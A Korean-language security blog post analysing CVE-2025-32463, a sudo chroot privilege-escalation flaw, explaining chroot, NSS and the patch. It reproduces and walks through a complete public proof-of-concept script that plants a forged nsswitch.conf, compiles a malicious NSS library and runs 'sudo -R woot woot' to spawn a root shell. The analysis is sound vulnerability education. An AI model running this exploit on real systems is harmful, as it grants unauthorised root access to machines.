security by ch4nsec

sudo에 권한 상승 취약점이 터졌다고?(CVE-2025-32463)

sudo에서 발생한 CVE-2025-32463 권한 상승 취약점에 대해 분석한다.

#security#system#sudo#Privilege Escalation

최근 친구를 통해 sudo에 권한 상승 취약점이 터졌다는 사실을 알게 되었다. 아무래도 리눅스라면 기본으로 달려 오는 게 sudo이기도 하고, 워낙 영향이 큰 취약점이다보니 안찾아볼 수가 없었다.

거두절미하고 들어가보자

  • CVE-2025-32462, CVE-2025-32463에 걸쳐 이루어진 취약점이지만, 이번 포스트에서는 CVE-2025-32463만 다뤄볼 것이다. 관리자 권한 탈취가 가능한 취약점이 이놈이기 때문이다.

Description

Sudo before 1.9.17p1 allows local users to obtain root access because /etc/nsswitch.conf from a user-controlled directory is used with the —chroot option.

Sudo 1.9.17p1 이전 버전에서 user-controlled directory에 존재하는 /etc/nsswitch.conf가 —chroot 옵션에 의해 사용될 때 로컬 유저가 root 권한 접근이 가능하다고 한다.


chroot가 뭔데?

chroot는 프로세스가 특정 디렉토리를 root 디렉토리처럼 사용하도록 하는 기능이다.

apache같은 웹서버를 실행시키면 /var/www/html 가 루트 디렉토리가 되어, 웹페이지에서 루트에 접근하려고 하면 /var/www/html(/index.html)에 접근이 되고, 상위 디렉토리로의 접근은 제한된다. 이 경우는 chroot(‘/var/www/html’)과 같은 효과가 적용되고 있다고 보면 된다.

말만 들어서는 마치 샌드박스와 같은 효과를 위한 기능인 것처럼 보이지만, chroot(2) 메뉴얼을 읽어보면 이 기능의 진상을 알 수 있다.

https://man7.org/linux/man-pages/man2/chroot.2.html

This call changes an ingredient in the pathname resolution process and does nothing else. In particular, it is not intended to be used for any kind of security purpose, neither to fully sandbox a process nor to restrict filesystem system calls.

이 호출은 경로 이름(pathname) 해석 과정에서 하나의 요소를 변경할 뿐이며, 그 외에는 아무것도 하지 않습니다. 특히, 보안 목적으로 사용되도록 설계된 것이 아니며, 프로세스를 완전히 샌드박싱하거나 파일 시스템 시스템 호출을 제한하는 용도로 사용되어서는 안 됩니다.

정말 단순하게 경로 해석 과정을 바꾸는 것에 불과하다. /var/www/html을 루트로 사용하는 웹서버를 다시 한번 예로 들면, 루트로의 접근을 /var/www/html로 변환해주거나, 실제 경로(/var/www/html/index.html)를 chroot 이후의 경로(/index.html)로 변환해주는 정도일 것이다.

문제는 이 뒤에 나온다.

In the past, chroot() has been used by daemons to restrict themselves prior to passing paths supplied by untrusted users to system calls such as open(2). However, if a folder is moved out of the chroot directory, an attacker can exploit that to get out of the chroot directory as well. The easiest way to do that is to chdir(2) to the to-be-moved directory, wait for it to be moved out, then open a path like ../../../etc/passwd.

과거에는 chroot()가 데몬(서버 프로세스)들에 의해, 신뢰할 수 없는 사용자로부터 제공된 경로를 open(2) 같은 시스템 호출에 전달하기 전에 자신을 제한하는 용도로 사용된 적이 있습니다. 그러나, 만약 폴더가 chroot 디렉토리 밖으로 이동된다면, 공격자는 이를 악용하여 chroot 디렉토리 밖으로 탈출할 수 있습니다. 가장 쉬운 방법은, 이동될 디렉토리로 chdir(2) 한 다음 그것이 chroot 밖으로 이동되기를 기다렸다가, ../../../etc/passwd 같은 경로를 여는 것입니다.

실제로 chroot를 다른 디렉토리로부터 격리시켜 보안 목적으로 사용된 적이 있었지만, 폴더가 chroot 밖으로 이동될 때 chdir을 통해 chroot 디렉토리 밖으로 이동하면 chroot의 제한을 벗어나 상위 디렉토리에 접근하는 것이 가능했었다고 한다.

정리하자면, chroot 기능 자체에는 실질적으로 환경을 격리시키는 기능이 없다는 것이다.

이번 포스트에서 설명할 CVE-2025-32463도 이로 인해 chroot 외부로 탈출할 수 있는 취약점이다.


취약점 동작 과정

chroot 로직은 plugins/sudoers/pivot.c에 정의된 pivot_root()와 unpivot_root()에 의해 동작한다. 그리고 이 두 함수 호출 사이에 NSS가 동작하게 된다.

NSS(Name Service Switch)는 리눅스 및 유닉스 계열 운영체제에서 사용자 계정, 호스트 이름, 그룹 정보 등의 시스템 정보를 어디에서 어떻게 검색할지를 설정하는 플러그인 기반 시스템이다. 그리고 이러한 시스템 정보를 검색할 때 nsswitch.conf라는 설정파일을 참고하게 된다.

아래는 nsswitch.conf 파일의 예시다.

# /etc/nsswitch.conf
#
# Example configuration of GNU Name Service Switch functionality.
# If you have the `glibc-doc-reference' and `info' packages installed, try:
# `info libc "Name Service Switch"' for information about this file.

passwd:         files systemd
group:          files systemd
shadow:         files
gshadow:        files

만약 이런 식으로 설정이 되어있다면, 각 항목에 대한 정보를 조회할 때 로컬 파일(ex. /etc/passwd)를 찾아보고, 이후 libnss_systemd.so.2 등의 공유 라이브러리를 로드하게 된다.

하지만 만약에 공격자가 /etc/nsswitch.conf 파일을 조작할 수 있고, 조작된 nsswitch.conf 파일에 의해 공격자가 심어둔 라이브러리를 로드하게 된다면 공격자가 임의의 명령을 실행시킬 수 있게 된다.

조건이 조금 어려워 보이지만 아래의 상황에 의해 이러한 공격 조건이 갖춰지게 된다.

1. chroot에 의한 root 디렉토리 변경

chroot는 경로 해석 방식을 변경하여 설정한 경로가 /(root)인 것처럼 동작하게 한다고 했다. 웹서버가 /var/www/html을 /(root)로 변환하는 것처럼. 만약 chroot를 /home/user로 설정했다면 /home/user를 /(root)로 변환할 것이다.

그런데 /home/user 안에 etc/nsswitch.conf 파일을 위치시키면? 시스템은 진짜 /etc/nsswitch.conf에 있는 파일로 오인할 수 있는 것이다.

취약점 설명을 다시 보자.

Sudo before 1.9.17p1 allows local users to obtain root access because /etc/nsswitch.conf from a user-controlled directory is used with the —chroot option.

공격자가 컨트롤하는 디렉토리가 chroot로 사용될 때 그 안에 있는 /etc/nsswitch.conf가 사용되는 상황이 바로 이런 상황인 것이다.

2. 조작된 nsswitch.conf 사용

exploit에 사용하는 nsswitch.conf는 아래와 같다.

passwd: /woot1337

그런데 아까 NSS의 공유 라이브러리 로드 규칙을 보면 libnss_(source).so.2와 같은 형식으로 이루어진다. 그래서 소스 이름을 변조하면 공격자가 sudo를 속여 임의의 라이브러리를 로드하게 할 수 있고, 이 라이브러리를 이용하여 루트 권한으로 임의 코드 실행이 가능하다.


PoC 분석

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
#                  @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}
EOF

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?}
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void woot(void) {
  setreuid(0,0);
  setregid(0,0);
  chdir("/");
  execl("/bin/bash", "/bin/bash", NULL);
}

핵심 부분이다. 이 코드로 라이브러리를 만들고, NSS가 호출되는 과정에서 이 라이브러리를 로드하게 만들면 constructor인 woot 함수가 실행되는 것이다.

코드 내용은 간단하다. setreuid(real uid, effective uid)와 setregid로 id 값을 0(root)로 설정하고, chdir로 /(루트) 디렉토리로 이동한 다음 /bin/bash를 실행시킨다. 그리고 이 chdir(’/‘)에 의해 chroot를 탈출하게 된다.

STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1

...

mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c

이후 /tmp 디렉토리 내에 생성한 임시 공간(공격자가 제어 가능한 공간)으로 이동해 해당 공간에 파일들을 배치하는 과정이다. 여기서 포인트는 libnss_ 라는 디렉토리 내에 woot1337.so.2라는 공격자 라이브러리를 위치시킨단 것인데

passwd: /woot1337

위에서 봤던 nsswitch.conf 파일의 source 이름을 libnss_(source).so.2에 대입하면 libnss_/woot1337.so.2라는 경로가 된다.

(사실 꼭 경로여야하나 싶어서 libnss_woot1337.so.2라는 이름으로 써봤지만 실패하였다. 왜 굳이 디렉토리까지 써가면서 해야 하는지 원인까지는 잘 모르겠지만, 모종의 로직을 우회하기 위한 수단이라고 생각한다.)

sudo -R woot woot

이후에 임시 공간에서 woot를 chroot로 설정해 sudo 명령어를 실행시키면 루트 권한으로 /(루트) 디렉토리에서 /bin/bash가 실행되게 된다.

최종 exploit의 흐름은 다음과 같다.

  1. 임시 스테이징 디렉토리 생성
  2. woot/etc/에 악성 nsswitch.conf 배치
  3. 악성 라이브러리를 libnss_/woot1337.so.2로 컴파일
  4. sudo -R woot woot을 실행하여 취약점 트리거

그래서 어떻게 막았을까

이 취약점은 chroot가 마땅한 격리 수단이 없다는 고질적인 문제에서 발생한 취약점이었다. 사실 sudo에서 chroot 기능이 거~의 쓰이지도 않는데 chroot 자체의 문제가 터졌다보니 가장 최고의 해결 방법은 chroot를 쓰지 않는 것이었다.

실제로 chroot 기능이 없는 sudo 1.9.14 이전 버전에서는 해당 취약점이 동작하지 않고, sudo 1.9.17p1 버전부터는 chroot 기능 자체가 삭제되었다.

만약 본인이 1.9.14~1.9.17 버전의 sudo를 사용하고 있다면 반드시 업데이트를 하도록 하자.


참고자료

[1] github - CVE-2025-32463_chwoot (PoC)

https://github.com/pr0v3rbs/CVE-2025-32463_chwoot/tree/main

[2] Stratascale - Vulnerability Advisory: Sudo chroot Elevation of Privilege

https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot

[3] NIST - CVE-2025-32463

https://nvd.nist.gov/vuln/detail/CVE-2025-32463

[4] github - sudo

https://github.com/sudo-project/sudo